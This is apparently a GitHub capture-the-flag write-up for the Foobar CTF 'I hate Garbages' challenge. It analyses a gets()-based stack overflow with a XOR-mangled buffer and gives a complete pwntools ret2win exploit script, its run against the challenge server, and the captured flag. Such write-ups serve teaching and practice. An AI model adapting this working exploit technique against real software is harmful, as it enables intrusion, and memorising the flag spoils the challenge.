Skip to content

Latest commit

 

History

History

i-hate-garbages

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

Foobar CTF - I hate Garbages

The binary is compiled with partial relro, NX, and PIE.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

Further, the binary leaks the address of the win function and calls gets(), which enables a stack-based buffer overflow.

00001340      printf(&data_2028, win);
00001351      gets(&var_48);

However, before returning from the main function, the program calls play_with_buf that manipulates the user input by xoring the buffer with 0x20202020 four bytes at a time.

0000128f void play_with_buf(int32_t* arg1, int64_t arg2)

0000128f  {
0000129b      int32_t var_14 = arg2;
000012a2      if (var_14 <= 0x4f)
0000129e      {
000012c3          *(int32_t*)((char*)arg1 + arg2) = (*(int32_t*)((char*)arg1 + arg2) ^ 0x20202020);
000012d7          play_with_buf(arg1, ((uint64_t)(var_14 + 4)));
000012cb      }
0000129e  }

Further, there is a check function. Failing to pass the check means the program will exit instead of return. We need to pass this check so we can return to the stack and trigger our Ret2Win.

00001375      if (check(&var_48) == 0)
00001373      {
00001397          puts("ooooopsss");
000013a1          exit(0);
000013a1          /* no return */
000013a1      }
00001381      puts("good try :)");
000013a7      return 0;

Putting our exploit together, we pass the check by setting the first byte of our input to chr(127), then 71 more bytes to overflow the buffer. Further, we will place a ret in from our our win to satisfy the movaps issue that occurs when the stack isn't 16-byte aligned and calls system.

from pwn import *

binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)

gs = '''
continue
'''

def start():
    if args.GDB:
        return gdb.debug(e.path, gdbscript=gs)
    elif args.REMOTE:
        return remote('chall.foobar.nitdgplug.org',30021)
    else:
        return process(e.path,level='error')

def repair(addr):
  xor_func = lambda x: x ^ 0x20
  return bytearray(map(xor_func, p64(addr)))

def ret2win():
  p = start()
  win=int(p.recvline(keepends=False),16)
  log.info('Win Leaked: 0x%x' %win)
  e.address=win-e.sym.win
  ret = e.address+0x128e

  chain = chr(127).encode()
  chain += b'A'*71
  chain += repair(ret)
  chain += p64(e.sym['win'])

  log.info('Throwing XOR(Ret)+Win')
  p.sendline(chain)
  p.interactive()

ret2win()

Throwing our exploit at the server, we get the flag GLUG{4lways_63_$p3cific}.

└─# python3 pwn-ihg.py BIN=./test REMOTE
[*] '/root/workspace/foobar/i-hate-garbages/test'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chall.foobar.nitdgplug.org on port 30021: Done
[*] Win Leaked: 0x55de976931b9
[*] Throwing XOR(Ret)+Win
[*] Switching to interactive mode
good try :)
GLUG{4lways_63_$p3cific}